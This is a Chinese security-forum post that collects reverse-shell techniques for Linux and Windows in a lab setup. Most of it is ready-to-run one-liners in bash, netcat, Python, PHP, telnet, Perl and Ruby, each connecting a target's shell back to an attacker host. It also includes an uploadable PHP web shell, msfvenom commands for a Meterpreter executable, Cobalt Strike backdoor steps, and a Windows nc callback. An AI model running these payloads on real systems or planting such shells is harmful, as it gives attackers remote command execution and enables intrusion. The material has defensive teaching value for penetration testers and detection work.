Shell反弹姿势(Linux+Windows)

逍遥子   ·   发表于 2022-04-12 23:31:38   ·   技术文章

常用shell反弹命令和方法(linux)

环境准备:

  1. 攻击机:192.168.88.146 kali
  2. 目标:IP随机;Ubuntu
  3. 没有说明特殊情况的,命令都是在目标机器执行,攻击机使用nc进行监听

一、bash反弹:

  1. 攻击机使用nc对本地端口进行监听:nc -lvvp [port]

  1. 在目标机上运行:bash -i >& /dev/tcp/192.168.88.146/4444 0>&1
  2. 这个shellbash或者sh解析,有时候会出现错误。


[!!当权限不够的时候,可能就会出现这个情况,导致反弹失败]

二、netcat反弹

  1. nc -e /bin/bash 192.168.88.146 4444 #不同的版本可能不能使用-e 参数,比如我用于实验的Ubuntu,所以这个演示在kali上进行。

  1. 对于不能使用-e参数的,可以使用其他方法:
  2. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.88.146 4444 >/tmp/f

三、python反弹(pytho2,3都可以实现)

  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.146",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

四、利用msf生成反弹命令

  1. 使用命令查看可以用的payload msfvenom -l payloads 'cmd/unix/reverse'
  2. 生成一个反弹命令:msfvenom -p cmd/unix/reverse_xxxx lhost=192.168.88.146 lport=4444 R

五、使用php反弹

  1. 当可以在终端直接调用php的时候:
  2. php -r '$sock=fsockopen("192.168.88.146",4444);exec("/bin/sh -i <&3 >&3 2>&3");'


也可以直接上传一个php的反弹文件,然后进行访问,也可以得到shell。

  1. <?php
  2. set_time_limit(0);
  3. $ip=$_POST['ip'];
  4. $port=$_POST['port'];
  5. $fp=@fsockopen($ip,$port,$errno,$errstr);
  6. if(!$fp){echo "error";}
  7. else{
  8. fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
  9. while(!feof($fp)){
  10. fputs($fp,"shell:");
  11. $shell=fgets($fp);
  12. $message=`$shell`;
  13. fputs($fp,$message);
  14. }
  15. fclose($fp);
  16. }
  17. ?>

对文件进行上传访问,以post的方式传参ip和port,就可以将服务器shell反弹到攻击机。

六、使用telnet反弹

  1. mknod a p; telnet 192.168.88.146 4444 0<a | /bin/bash 1>a
  1. 还有一种反弹方式,这个需要开启两个监听端口,一个实现使用命令,一个实现接受信息。
  2. telnet 192.168.88.146 6666 | /bin/bash | telnet 192.168.88.146 4444

七、perl反弹

  1. perl -e 'use Socket;$i="192.168.88.146";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

八、ruby反弹

  1. ruby -rsocket -e'f=TCPSocket.open("192.168.88.146",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

常用shell反弹命令和方法(windows)

  1. 说明:在windows的反弹中,一些写在linux中的关于利用语言做个反弹也都可以实现。

环境准备:

  1. 攻击机:192.168.88.146 kali;192.168.88.1 Microsoft Windows 10 家庭中文版
  2. 目标:IP随机; Microsoft Windows 10 企业版 LTSC

一、msf反弹

  1. 可以直接利用已知的漏洞免写入磁盘执行反弹,可以打包成Exe文件或者其他windows可执行的文件进行反弹。
  2. msf命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.146 lport=6666 -f exe -o shell.exe
  3. msf中进行监听:设置好ip,端口,payload

  1. windows环境中运行生成的payload
  2. 攻击机获取到反弹的shell

二、cs反弹

  1. 使用CS生成一个exe后门文件,也可以生成其他windows可执行的文件或者powershell指令。


选择监听器和输出类型:


生成一个payload,保存。


将文件在windows上运行。cs拿到shell

三、NC反弹

  1. 攻击机开启监听:nc -lvvp 6666
  2. 目标机执行命令: nc -t -e cmd.exe 192.168.88.146 6666

用户名金币积分时间理由
Track-劲夫 50.00 0 2022-04-15 14:02:28 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2022-4-12 | 901 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.